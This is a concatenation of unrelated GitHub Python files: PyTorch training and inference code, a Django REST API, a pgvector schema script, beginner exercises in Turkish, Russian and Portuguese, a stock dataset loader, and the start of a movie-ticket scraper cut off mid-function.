acc_train, loss_valid, acc_valid), flush=True)\n history['loss_train'].append(loss_train)\n history['loss_valid'].append(loss_valid)\n history['acc_train'].append(acc_train)\n history['acc_valid'].append(acc_valid)\n savemodel = homepath+\"/Models/\"+restype+\"_\"+datatype+\"/\"+\"Fold\"+str(fold)+\".pkl\"\n for param in model.parameters():\n param.requires_grad = True\n torch.save(model.module.resnet.state_dict(),savemodel)\n print(\"saved model as \"+savemodel, flush=True)\nprint(\"done\", flush=True)\nprint(\"##########################################################\", flush=True)\n\nprint(\"6. plot the figure of training process\", flush=True)\nloss_train_avg = np.zeros(n_epochs)\nloss_valid_avg = np.zeros(n_epochs)\nacc_train_avg = np.zeros(n_epochs)\nacc_valid_avg = np.zeros(n_epochs)\nfor num in range(n_splits):\n loss_train = history['loss_train'][num*n_epochs:(num+1)*n_epochs]\n loss_valid = history['loss_valid'][num*n_epochs:(num+1)*n_epochs]\n acc_train = history['acc_train'][num*n_epochs:(num+1)*n_epochs]\n acc_valid = history['acc_valid'][num*n_epochs:(num+1)*n_epochs]\n loss_train_avg+=loss_train\n loss_valid_avg+=loss_valid\n acc_train_avg+=acc_train\n acc_valid_avg+=acc_valid\n name_title=\"Fold_\"+str(num)+'_Training and Validation accuracy'\n savepath = homepath+\"/results/2023/Train/\"+restype+\"_\"+datatype+\"/\"+name_title+\".png\"\n plt.figure(figsize=(12, 8))\n plt.ylim(0,1.0)\n plt.plot(range(1,n_epochs+1), acc_train, 'b', label='Training accuracy') \n plt.plot(range(1,n_epochs+1), acc_valid, 'r', label='Validation accuracy')\n plt.title(name_title)\n plt.savefig(savepath)\n print(\"Saved output as , \", savepath, flush=True)\nloss_train_avg = loss_train_avg/n_splits\nloss_valid_avg = loss_valid_avg/n_splits\nacc_train_avg = acc_train_avg/n_splits\nacc_valid_avg = acc_valid_avg/n_splits\nname_title=\"Average Training and Validation accuracy\"\nsavepath = homepath+\"/results/2023/Train/\"+restype+\"_\"+datatype+\"/\"+name_title+\".png\"\nplt.figure(figsize=(12, 8))\nplt.ylim(0,1.0)\nplt.plot(range(1,n_epochs+1), acc_train_avg, 'b', label='Training accuracy') \nplt.plot(range(1,n_epochs+1), acc_valid_avg, 'r', label='Validation accuracy')\nplt.title(name_title)\nplt.savefig(savepath)\nprint(\"Saved output as , \", savepath, flush=True)\nprint(\"##########################################################\", flush=True)\nprint(history, flush=True)\nprint(\"done\", flush=True)","repo_name":"DDDog-WANG/Epigenetic-profiling-SoRa","sub_path":"Classification/Scripts/ClassifyCNN_KFold.py","file_name":"ClassifyCNN_KFold.py","file_ext":"py","file_size_in_byte":9204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20140553859","text":"import logging\nimport time\nimport os\n\nimport torch\nfrom tqdm import tqdm\n\nfrom mega_core.data.datasets.evaluation import evaluate\nfrom ..utils.comm import is_main_process, get_world_size\nfrom ..utils.comm import all_gather\nfrom ..utils.comm import synchronize\nfrom ..utils.timer import Timer, get_time_str\nfrom .bbox_aug import im_detect_bbox_aug\n\nfrom seq_nms import seq_nms\nfrom mega_core.structures.boxlist_ops import boxlist_nms\nfrom mega_core.structures.boxlist_ops import cat_boxlist\n\nimport torch.autograd.profiler as profiler\n\ndef compute_on_dataset(model, data_loader, device, bbox_aug, method, timer=None, do_seq_nms=None):\n model.eval()\n results_dict = {}\n cpu_device = torch.device(\"cpu\")\n for i, batch in enumerate(tqdm(data_loader)):\n images, targets, image_ids = batch\n with torch.no_grad():\n if timer:\n timer.tic()\n if bbox_aug:\n output = im_detect_bbox_aug(model, images, device)\n else:\n if method in (\"base\", ):\n images = images.to(device)\n elif method in (\"rdn\", \"mega\", \"dafa\", \"diffusion\", \"fgfa\", \"dff\"):\n images[\"cur\"] = images[\"cur\"].to(device)\n for key in (\"ref\", \"ref_l\", \"ref_m\", \"ref_g\"):\n if key in images.keys():\n images[key] = [img.to(device) for img in images[key]]\n else:\n raise ValueError(\"method {} not supported yet.\".format(method))\n '''\n with profiler.profile(record_shapes=True) as prof:\n with profiler.record_function(\"model_inference\"):\n output = model(images)\n print(prof.key_averages(group_by_input_shape=True).table(sort_by=\"cpu_time_total\", row_limit=20))\n '''\n output = model(images)\n '''\n while i < 10:\n prof.export_chrome_trace(\"trace_\" + str(i) + \".json\")\n '''\n if do_seq_nms:\n ### Codes are revised vesion of FGFA github\n ### https://github.com/msracver/Flow-Guided-Feature-Aggregation\n if images[\"frame_id\"] == images[\"seg_len\"]-1:\n all_boxes = model.roi_heads.box.post_processor.all_boxes\n num_classes = model.num_classes\n thresh_nms = model.roi_heads.box.post_processor.score_thresh\n video = [all_boxes[j][:] for j in range(1, num_classes)]\n dets_all = seq_nms(video)\n for cls_ind, dets_cls in enumerate(dets_all):\n for frame_ind, dets in enumerate(dets_cls):\n # boxlist_nms works with one class Boxlist\n # original nms() returns keeped index. MEGA's boxlist_nms() returns keeped boxlists\n keep, keep_box_idx = boxlist_nms(boxlist=dets, nms_thresh=thresh_nms) # nms(dets)\n #all_boxes[cls_ind + 1][frame_ind] = dets[keep, :]\n all_boxes[cls_ind + 1][frame_ind] = keep # call by ref\n if timer:\n if not device.type == 'cpu':\n torch.cuda.synchronize()\n timer.toc()\n if not do_seq_nms:\n output = [o.to(cpu_device) for o in output]\n if do_seq_nms:\n if images[\"frame_id\"] == 0:\n image_ids_list = [image_ids[0]]\n else:\n image_ids_list.append(image_ids[0])\n if images[\"frame_id\"] == images[\"seg_len\"]-1:\n # output contains list of Boxlists for each frames\n boxes_frame_wise = [cat_boxlist([boxes_one_cls[j] for boxes_one_cls in all_boxes[1:]])\n for j in range(images[\"seg_len\"])]\n output = boxes_frame_wise\n # if you use seq_nms, results_dict is updated collectively when a video ends.\n results_dict.update(\n {img_id: result for img_id, result in zip(image_ids_list, output)}\n )\n else:\n results_dict.update(\n {img_id: result for img_id, result in zip(image_ids[0], output)}\n )\n return results_dict\n\n\ndef _accumulate_predictions_from_multiple_gpus(predictions_per_gpu):\n all_predictions = all_gather(predictions_per_gpu)\n if not is_main_process():\n return\n # merge the list of dicts\n predictions = {}\n for p in all_predictions:\n predictions.update(p)\n # convert a dict where the key is the index in a list\n image_ids = list(sorted(predictions.keys()))\n if len(image_ids) != image_ids[-1] + 1:\n logger = logging.getLogger(\"mega_core.inference\")\n logger.warning(\n \"Number of images that were gathered from multiple processes is not \"\n \"a contiguous set. Some images might be missing from the evaluation\"\n )\n\n # convert to a list\n predictions = [predictions[i] for i in image_ids]\n return predictions\n\n\ndef inference(\n cfg,\n model,\n data_loader,\n dataset_name,\n iou_types=(\"bbox\",),\n motion_specific=False,\n box_only=False,\n bbox_aug=False,\n device=\"cuda\",\n expected_results=(),\n expected_results_sigma_tol=4,\n output_folder=None,\n):\n # convert to a torch.device for efficiency\n device = torch.device(device)\n num_devices = get_world_size()\n logger = logging.getLogger(\"mega_core.inference\")\n dataset = data_loader.dataset\n logger.info(\"Start evaluation on {} dataset({} images).\".format(dataset_name, len(dataset)))\n total_timer = Timer()\n inference_timer = Timer()\n total_timer.tic()\n predictions = compute_on_dataset(model, data_loader, device, bbox_aug, cfg.MODEL.VID.METHOD, inference_timer, cfg.TEST.SEQ_NMS)\n # wait for all processes to complete before measuring the time\n synchronize()\n total_time = total_timer.toc()\n total_time_str = get_time_str(total_time)\n logger.info(\n \"Total run time: {} ({} s / img per device, on {} devices)\".format(\n total_time_str, total_time * num_devices / len(dataset), num_devices\n )\n )\n total_infer_time = get_time_str(inference_timer.total_time)\n logger.info(\n \"Model inference time: {} ({} s / img per device, on {} devices)\".format(\n total_infer_time,\n inference_timer.total_time * num_devices / len(dataset),\n num_devices,\n )\n )\n\n predictions = _accumulate_predictions_from_multiple_gpus(predictions)\n if not is_main_process():\n return\n\n if output_folder and cfg.TEST.SEQ_NMS:\n torch.save(predictions, os.path.join(output_folder, \"predictions_seq_nms.pth\"))\n elif output_folder:\n torch.save(predictions, os.path.join(output_folder, \"predictions.pth\"))\n\n extra_args = dict(\n box_only=box_only,\n iou_types=iou_types,\n motion_specific=motion_specific,\n expected_results=expected_results,\n expected_results_sigma_tol=expected_results_sigma_tol,\n )\n\n return evaluate(dataset=dataset,\n predictions=predictions,\n output_folder=output_folder,\n **extra_args)\n\n\ndef inference_no_model(\n data_loader,\n iou_types=(\"bbox\",),\n motion_specific=False,\n box_only=False,\n expected_results=(),\n expected_results_sigma_tol=4,\n output_folder=None,\n):\n dataset = data_loader.dataset\n\n predictions = torch.load(os.path.join(output_folder, \"predictions.pth\"))\n print(\"prediction loaded.\")\n\n extra_args = dict(\n box_only=box_only,\n iou_types=iou_types,\n motion_specific=motion_specific,\n expected_results=expected_results,\n expected_results_sigma_tol=expected_results_sigma_tol,\n )\n\n return evaluate(dataset=dataset,\n predictions=predictions,\n output_folder=output_folder,\n **extra_args)\n","repo_name":"sdroh1027/DiffusionVID","sub_path":"mega_core/engine/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":8228,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"72"} +{"seq_id":"72272487594","text":"x = int(input(\"Birinci Sayı: \"))\ny = int(input(\"İkinci Sayı: \"))\nz = int(input(\"Üçüncü Sayı Sayı: \"))\n\nenbuyuk = x\nenkucuk = x\n\nif y > enbuyuk:\n enbuyuk = y\n\nif z > enbuyuk:\n enbuyuk = z\n\nif enkucuk > y:\n enkucuk = y\n\nif enkucuk > z:\n enkucuk = z\n\n\nprint(\"En Büyük Değer: \"+str(enbuyuk))\nprint(\"En Küçük Değer: \"+str(enkucuk))\n","repo_name":"bugresearch/python-basic-projects","sub_path":"ikinci-hafta-ornekleri/ucdegersorgula.py","file_name":"ucdegersorgula.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"17392772472","text":"from django.shortcuts import render, get_object_or_404, get_list_or_404\nfrom django.db.models import Prefetch\nfrom musicapp.models import Artiste, Song, Lyric\nfrom .serializers import ArtisteSerializer, SongSerializer, LyricSerializer\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import action\nfrom rest_framework.views import APIView\nfrom rest_framework import permissions, status, generics, viewsets\n# Create your views here.\n\nclass SongViewSet(viewsets.ViewSet):\n\n def list(self, request):\n queryset = Song.objects.all()\n serial = SongSerializer(queryset, many=True)\n return Response(serial.data)\n\n def retrieve(self, request, pk=None):\n queryset = Song.objects.all()\n song = get_object_or_404(queryset, pk=pk)\n serial = SongSerializer(song)\n return Response(serial.data)\n\nclass ArtisteViewSet(viewsets.ViewSet):\n\n def list(self, request):\n queryset = Artiste.objects.all()\n serial = ArtisteSerializer(queryset, many=True)\n return Response(serial.data)\n\n def retrieve(self, request, pk=None):\n queryset = Artiste.objects.all()\n artiste = get_object_or_404(queryset, pk=pk)\n serial = ArtisteSerializer(artiste)\n return Response(serial.data)\n\nclass TryViews(viewsets.ModelViewSet):\n\n serializer_class = SongSerializer\n queryset = Song.objects.all()\n\n @action(detail=True, methods=['put'])\n def update_title(self, request, pk=None):\n song = self.get_object()\n serial = SongSerializer(data=request.data)\n if serial.is_valid():\n song.update_title(serial.validated_data['title'])\n song.save()\n return Response({'status': 'title updated'})\n else:\n return Response(serial.errors, status=status.HTTP_400_BAD_REQUEST)\n\n @action(detail=True, methods=['put'])\n def update_releasedate(self, request, pk=None):\n song = self.get_object()\n serial = SongSerializer(data=request.data)\n if serial.is_valid():\n #song.title(serial.validated_data['title'])\n song.update_releasedate(serial.validated_data['date_released'])\n song.save()\n return Response({'status': 'song details updated'})\n else:\n return Response(serial.errors, status=status.HTTP_400_BAD_REQUEST)\n\n @action(detail=True, methods=['delete'])\n def delete_song(self, request, pk=None):\n song = self.get_object()\n serial = SongSerializer(data=request.data)\n if serial.is_valid():\n song.delete()\n return Response({'status': 'song deleted'})\n else:\n return Response(serial.errors, status=status.HTTP_400_BAD_REQUEST)\n\n","repo_name":"SuccessAT/zurisongcrud","sub_path":"songcrud/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34876648150","text":"import psycopg2\nfrom psycopg2.extras import RealDictCursor\nfrom pgvector.psycopg2 import register_vector\nfrom config import DB_HOST, DB_PORT\n\n\n\nconn = psycopg2.connect(host = DB_HOST,\n port = DB_PORT,\n database = \"semanticdb\",\n user = \"deeptech\",\n password = \"deeptech\",\n cursor_factory = RealDictCursor)\n\n\ndef postgres_table_schema(conn):\n cur = conn.cursor()\n cur.execute(\"CREATE EXTENSION IF NOT EXISTS vector\")\n register_vector(conn)\n \n cur.execute(\n \"\"\"DROP TABLE IF EXISTS doc_status;\n \"\"\"\n )\n conn.commit()\n \n cur.execute(\n \"\"\"\n CREATE TABLE IF NOT EXISTS doc_status (\n id bigserial PRIMARY KEY,\n doc_id VARCHAR(500) NOT NULL UNIQUE,\n url TEXT NOT NULL UNIQUE,\n status VARCHAR(50) NOT NULL\n );\n \"\"\"\n )\n \n conn.commit()\n \n cur.execute(\n \"\"\"\n CREATE TABLE IF NOT EXISTS document (\n id bigserial PRIMARY KEY,\n doc_id VARCHAR(100) NOT NULL,\n raw_contract TEXT NOT NULL,\n summary TEXT NOT NULL,\n metadata JSONB NOT NULL,\n keyword_vector tsvector GENERATED ALWAYS AS (\n to_tsvector('english', summary) || ' ' ||\n to_tsvector('english', metadata)\n ) STORED,\n summary_vector vector(1536) \n );\n \"\"\"\n )\n cur.execute(\"CREATE INDEX IF NOT EXISTS lexical_search ON document USING GIN(keyword_vector)\")\n conn.commit()","repo_name":"sarbol/llm_semantic_search_engine","sub_path":"base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43891429854","text":"import torch\n\n\nclass GradientPenalty(torch.nn.Module):\n \"\"\"\n A module to compute the gradient penalty\n \"\"\"\n\n def forward(self, discr_interpolates: torch.Tensor,\n interpolates: torch.Tensor):\n \"\"\"\n Computes the gradient penalty\n Parameters\n ----------\n discr_interpolates : :class:`torch.Tensor`\n the discriminator's output for the :param:`interpolates`\n interpolates : :class:`torch.Tensor`\n randomly distorted images as input for the discriminator\n Returns\n -------\n :class:`torch.Tensor`\n a weighted gradient norm\n \"\"\"\n\n fake = torch.ones(interpolates.size(0), 1, device=interpolates.device,\n dtype=interpolates.dtype)\n\n gradients = torch.autograd.grad(\n outputs=discr_interpolates,\n inputs=interpolates,\n grad_outputs=fake,\n create_graph=True,\n retain_graph=True,\n only_inputs=True\n )[0]\n\n return ((gradients.norm(p=2, dim=1) - 1) ** 2).mean()\n","repo_name":"justusschock/dl-utils","sub_path":"dlutils/losses/gradient_penalty.py","file_name":"gradient_penalty.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"72"} +{"seq_id":"41173386702","text":"class MinStack:\n\n def __init__(self):\n \"\"\"\n initialize your data structure here.\n \"\"\"\n self.l = []\n\n def push(self, x: int) -> None:\n self.l.append(x)\n # if not self.l:\n # self.l.append(x)\n # elif x < self.top():\n # self.l.append(x)\n # else:\n # if len(self.l) == 1:\n # self.l.insert(0, x)\n # else:\n # # for i in range(len(self.l)-2, -1, -1):\n # i = len(self.l)-2\n # while i > 0:\n # if x < self.l[i]:\n # self.l.insert(i, x)\n # break\n # i -= 1\n # if i == 0:\n # self.l.insert(i, x)\n\n\n def pop(self) -> None:\n if not self.l:\n raise ValueError\n elem = self.l[-1]\n self.l = self.l[:-1]\n return elem\n\n def top(self) -> int:\n if not self.l:\n raise ValueError\n return self.l[-1]\n\n def getMin(self) -> int:\n e_min = self.l[0]\n for i in self.l[1:]:\n if i < e_min:\n e_min = i\n return e_min\n\n\n# Your MinStack object will be instantiated and called as such:\nobj = MinStack()\nobj.push(-2)\nobj.push(0)\nobj.push(-3)\n# obj.push(0)\nparam_4 = obj.getMin()\n# param_3 = obj.top()\nobj.pop()\nparam_3 = obj.top()\nparam_2 = obj.getMin()\nprint(param_4)\nprint(param_3)\nprint(param_2)\n# print(obj.top())\n# param_4 = obj.getMin()\n# obj.pop()\n# param_4 = obj.getMin()\n# obj.pop()\n# param_4 = obj.getMin()\n# obj.pop()\n","repo_name":"MasKong/Algorithms","sub_path":"Min Stack.py","file_name":"Min Stack.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4089907587","text":"class Animal:\n def __init__(self, name, weight):\n self.name = name\n self.weight = weight\n \n def __str__(self):\n return f\"{self.name} весит {self.weight}кг\"\n \n def feed(self):\n print(f\"{self.name} был накормлен\")\n pass\n\n def farm_job(self):\n print(f\"Для {self.name} нужна следующая процедура: \")\n\n# Птицы с яйцами\nclass Bird(Animal):\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n def farm_job(self):\n super().farm_job()\n print(\"Сбор яйц\")\n\n# Гусы\nclass Goose(Bird):\n voice = \"Голос гуся\"\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n# Курицы\nclass Chicken(Bird):\n voice = \"Голос Курицы\"\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n# Утки\nclass Duck(Bird):\n voice = \"Голос Утки\"\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n# Животные которых надо доить\nclass VivipariousWithMilk(Animal):\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n def farm_job(self):\n super().farm_job()\n print(\"Дойка\")\n\n# Коровы\nclass Cow(VivipariousWithMilk):\n voice = \"Голос Коровы\"\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n# Козы\nclass Goat(VivipariousWithMilk):\n voice = \"Голос Козы\"\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n# Овцы\nclass Sheep(Animal):\n voice = \"Голос Овцы\"\n def __init__(self, name, weight):\n super().__init__(name, weight)\n\n def farm_job(self):\n super().farm_job()\n print(\"Стричь\")\n\ngouss_01 = Goose(\"Серый\", 3.4)\ngouss_02 = Goose(\"Белый\", 4.1)\nkorova = Cow(\"Маньку\", 154.2)\novets_01 = Sheep(\"Барашек\", 84.4)\novets_02 = Sheep(\"Кудрявый\", 74.2)\nkouritssa_01 = Chicken(\"Ко-Ко\", 5.19)\nkouritssa_02 = Chicken(\"Кукареку\", 3.81)\nkoza_01 = Goat(\"Рога\", 44.61)\nkoza_02 = Goat(\"Копыта\", 53.15)\nutka = Duck(\"Кряква\", 3.8)\n\nanimals_list = [\n gouss_01,\n gouss_02,\n korova,\n ovets_01,\n ovets_02,\n kouritssa_01,\n kouritssa_02,\n koza_01,\n koza_02,\n utka\n ]\n\ntotal_weight = 0\nmax_weight = 0\nfor animal in animals_list:\n print(animal)\n animal.feed()\n print(animal.voice)\n animal.farm_job()\n print()\n\n total_weight += animal.weight\n\n if animal.weight > max_weight:\n max_weight = animal.weight\n boss = animal.name\n\nprint(f\"\"\"Oбщий вес всех животных: {total_weight}кг\nНазвание самого тяжелого животного: {boss} с весом {max_weight}кг\"\"\")\n\n","repo_name":"PyG4ng/class_and_variables","sub_path":"classHomework.py","file_name":"classHomework.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41956009922","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\nfrom setuptools import setup, find_packages\n\n\ndef readme():\n with open('README.md') as f:\n return f.read()\n\n\ndef pip_requirements(filename='requirements.txt'):\n reqs = []\n with open('requirements.txt', 'r') as f:\n for line in f:\n if line.startswith('#'):\n continue\n if line:\n reqs.append(line)\n return reqs\n\n\nsetup(\n name = 'sccoos-sass-calibration',\n version = '0.0.1',\n description = 'Applies calibration coefficients to SCCOOS automated shore side instruments and writes out new files',\n long_description = readme(),\n url = 'https://git.axiom/axioim/sccoos-sass-calibration',\n packages = find_packages(),\n install_requires = pip_requirements(),\n test_requires = pip_requirements('dev-requirements.txt'),\n entry_points = {\n 'console_scripts': [\n ],\n },\n)","repo_name":"axiom-data-science/sccoos-sass-calibration","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4786319001","text":"import logging\nimport math\nimport glob\nfrom random import randint\nimport os\n\nimport numpy as np\nimport pandas as pd\nfrom torch.utils.data import Dataset\nfrom tqdm import tqdm\n\nfrom trading.utils import get_logger\n\n\nclass MultivalueDateBinaryClassDataset(Dataset):\n \"\"\"\n Every item is a random chunk from a random financial\n product in a given folder.\n\n Each item contains N rows in this order:\n - financial_values: one row per col specified\n - year_values\n - month_values\n - day_values\n \"\"\"\n\n def __init__(self, cfg, split: str = \"train\",\n transform=None, target_transform=None):\n super(MultivalueDateBinaryClassDataset, self).__init__()\n\n self._cfg = cfg\n self.logger = logging.getLogger(__name__)\n\n self.financial_values = {name: [] for name in self._cfg.financial_values_cols}\n self.year_values = []\n self.month_values = []\n self.day_values = []\n self.financial_product_len = []\n for csv_file in tqdm(glob.glob(os.path.join(self._cfg.input_folder, \"*.csv\"))):\n self.logger.debug(f\"Reading {csv_file}\")\n forbidden_substr = set([\",,\"])\n with open(csv_file) as f, open(\"./tmp\", \"w\") as working: \n for line in f: \n if not self._should_remove_line(line, forbidden_substr): \n working.write(line)\n os.remove(csv_file)\n os.rename(\"./tmp\", csv_file)\n\n df = pd.read_csv(csv_file, sep=self._cfg.sep)\n df[self._cfg.datetime_col] = pd.to_datetime(\n df[self._cfg.datetime_col], format=\"%d-%m-%Y\"\n )\n if split == \"train\":\n first_validation_idx = math.ceil(\n len(df)*self._cfg.percentage_training *\n (1 - self._cfg.percentage_val_of_training)\n )\n df = df.iloc[:first_validation_idx]\n elif split == \"validation\":\n first_validation_idx = math.ceil(\n len(df)*self._cfg.percentage_training *\n (1 - self._cfg.percentage_val_of_training)\n )\n first_test_idx = math.ceil(len(df)*self._cfg.percentage_training)\n df = df.iloc[first_validation_idx:first_test_idx]\n elif split == \"test\":\n first_test_idx = math.ceil(len(df)*self._cfg.percentage_training)\n df = df.iloc[first_test_idx:]\n else:\n raise ValueError(f\"Split {split} not recognized\")\n financial_values, year_values, month_values, day_values = self._get_values(\n df\n )\n max_index = len(df) - \\\n (self._cfg.num_values_in + self._cfg.num_values_to_avg - 1)\n if max_index <= 0:\n continue\n for col in self._cfg.financial_values_cols:\n self.financial_values[col].append(financial_values[col])\n self.year_values.append(year_values)\n self.month_values.append(month_values)\n self.day_values.append(day_values)\n self.financial_product_len.append(len(df))\n self.logger.debug(\n f\"Financial values: {self.financial_values[self._cfg.target_col][len(self.financial_product_len) - 1]}\"\n )\n\n self.num_values_in = self._cfg.num_values_in\n self.num_values_to_avg = self._cfg.num_values_to_avg\n self.transform = transform\n self.target_transform = target_transform\n\n def __len__(self):\n return len(self.financial_product_len)\n\n def __getitem__(self, idx):\n \"\"\"\n The target is done taking the average of the next financial\n values of the column specified in target_col.\n \"\"\"\n start_pos = self._get_random_start_index(\n financial_product_len=self.financial_product_len[idx]\n )\n avg_next_stock_values = np.mean(\n self.financial_values[self._cfg.target_col][idx][\n start_pos + self.num_values_in:start_pos + self.num_values_in + self.num_values_to_avg\n ]\n )\n src_seq = np.array(\n [\n self.financial_values[col][idx][\n start_pos:start_pos + self.num_values_in\n ] for col in self._cfg.financial_values_cols\n ] + [\n self.year_values[idx][start_pos:start_pos + self.num_values_in],\n self.month_values[idx][start_pos:start_pos + self.num_values_in],\n self.day_values[idx][start_pos:start_pos + self.num_values_in]\n ]\n )\n label = np.array(\n 1.0 if avg_next_stock_values > self.financial_values[self._cfg.target_col][idx][start_pos + self.num_values_in - 1]\n else 0.0\n )\n if self.transform:\n src_seq = self.transform(src_seq)\n if self.target_transform:\n label = self.target_transform(label)\n return src_seq, label\n\n def _get_random_start_index(self, financial_product_len: int) -> int:\n max_index = financial_product_len - \\\n (self.num_values_in + self.num_values_to_avg - 1)\n return randint(0, max_index - 1)\n\n def _get_values(self, df: pd.DataFrame):\n financial_values = {} \n for col in self._cfg.financial_values_cols:\n financial_values[col] = np.asarray(df[col])\n year_values = np.asarray(df[self._cfg.datetime_col].dt.year)\n month_values = np.asarray(df[self._cfg.datetime_col].dt.month)\n day_values = np.asarray(df[self._cfg.datetime_col].dt.day)\n self.logger.debug(f\"Target col shape: {financial_values[self._cfg.target_col].shape}\")\n return financial_values, year_values, month_values, day_values\n\n def _should_remove_line(self, line: str, stop_words: list):\n return any([word in line for word in stop_words])\n","repo_name":"Dedalo314/Stock-prediction-using-transformers","sub_path":"src/trading/datasets/multivalue_date_binary_class_dataset.py","file_name":"multivalue_date_binary_class_dataset.py","file_ext":"py","file_size_in_byte":5927,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"1357833210","text":"from funcoes import *\n\nwhile True:\n menu_prin = menu_principal()\n if(menu_prin == 0): #FECHANDO O PROGRAMA\n print(\"Obrigada pela preferência!\")\n break\n elif(menu_prin == 1): #CADASTRANDO NOVO USUARIO\n print(\"=-\" * 17)\n cadastrar_vendedor()\n elif(menu_prin == 2): #FAZENDO LOGIN\n print(\"=-\" * 17)\n login = confere_login(0, '')\n if(login == False):\n continue\n else:\n cpf_logado = login\n while True:\n opcao = menu_vendedor()\n if(opcao == 0): #SAIR\n print(\"Estamos desconectando você. Obrigada pela preferência!\")\n break\n elif(opcao == 1): #CADASTRAR PRODUTO\n print(\"=-\" * 17)\n cadastrar_produto(cpf_logado)\n elif(opcao == 2): #REMOVER PRODUTO\n print(\"=-\" * 17)\n remover_produto(cpf_logado)\n elif(opcao == 3): #BUSCAR PRODUTO\n print(\"=-\" * 17)\n buscar_produto_vendedor(1, \"\", cpf_logado)\n elif(opcao == 4): #ATUALIZAR PRODUTO\n print(\"=-\" * 17)\n atualizar_produto(0, cpf_logado, '', '')\n elif(opcao == 5): #ATUALIZAR SENHA\n print(\"=-\" * 17)\n atualizar_senha(cpf_logado)\n elif(menu_prin == 3):\n if(len(lista) <= 0):\n print(\"Pedimos perdão pelo inconveniente, mas nenhuma loja foi cadastrada ainda. \"\n \"Por favor, volte em outro momento.\")\n else:\n while True:\n escolha = menu_cliente()\n if(escolha == 0):\n print(\"Obrigada pela preferência!\")\n break\n elif(escolha == 1):\n busca_cliente()\n elif(escolha == 2):\n if(mostrar_carrinho() == 1):\n print(\"Obrigada pela preferência!\")\n break\n else:\n continue\n elif(escolha == 3):\n consultarchatgpt()","repo_name":"JillianDreemur/projetocdc","sub_path":"projeto.py","file_name":"projeto.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33855833406","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 1 23:29:18 2023\n\n@author: senlin\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.init as init\nfrom torch.autograd import Variable\n\n\nclass ConvEncoder(nn.Module):\n def __init__(self, output_dim):\n super(ConvEncoder, self).__init__()\n self.output_dim = output_dim\n\n self.encoder = nn.Sequential(\n nn.Conv2d(1, 32, 4, 2, 1), # B, 16 x 16\n nn.ReLU(True),\n nn.Conv2d(32, 32, 4, 2, 1), # 8 x 8 \n nn.ReLU(True),\n nn.Conv2d(32, 64, 4, 2, 1), # 4 x 4 \n nn.ReLU(True),\n nn.Conv2d(64, 64, 4, 2, 1), #2 x 2\n nn.ReLU(True),\n nn.Conv2d(64, 512, 2), # 1 x 1\n nn.Conv2d(512, output_dim, 1), # B, z_dim*n parameter\n )\n\n def forward(self, x):\n h = x.view(-1, 1, 32, 32)\n z = self.encoder(h).view(x.size(0), self.output_dim)\n return z\n \n\nclass ConvDecoder(nn.Module):\n def __init__(self, input_dim):\n super(ConvDecoder, self).__init__()\n\n self.decoder = nn.Sequential(\n nn.ConvTranspose2d(input_dim, 512, 1, 1, 0), # 1 x 1 \n nn.ReLU(True),\n nn.ConvTranspose2d(512, 64, 4, 1, 0), # 4 x 4\n nn.ReLU(True),\n nn.ConvTranspose2d(64, 64, 4, 2, 1), # 8 x 8 \n nn.ReLU(True),\n nn.ConvTranspose2d(64, 32, 4, 2, 1), # 16 x 16 \n nn.ReLU(True),\n nn.ConvTranspose2d(32, 1, 4, 2, 1), \n )\n\n def forward(self, z):\n h = z.view(z.size(0), z.size(1), 1, 1)\n mu_img = self.decoder(h)\n return mu_img","repo_name":"LittleMonsterSen/Online_changepoint_detection_in_dynamic_system","sub_path":"TCVAE/CNNlayer.py","file_name":"CNNlayer.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"40817201194","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom time import localtime, sleep\nimport winsound\nimport difflib\nimport re\n\nfrom requests.api import get\n\n# movie_name = \"SpiderMan No Way home\"\n# location = \"Mumbai\"\n# date = \"16/12/2021\" # DD/MM/YYYY\n# movie_code = \"ET00319080\" # Can be obtained from bookmyshow\n# cinema_type = \"Carnival\"\n\ncodes = {\n \"mumbai\": \"mumbai\",\n \"national-capital-region-ncr\": \"ncr\",\n \"bengaluru\": \"bang\",\n \"hyderabad\": \"hyd\",\n \"chandigarh\": \"chd\",\n \"pune\": \"pune\",\n \"chennai\": \"chen\",\n \"kolkata\": \"kolk\",\n \"kochi\": \"koch\"\n}\n\n\ndef main(movie_name, location, date, cinema_type):\n 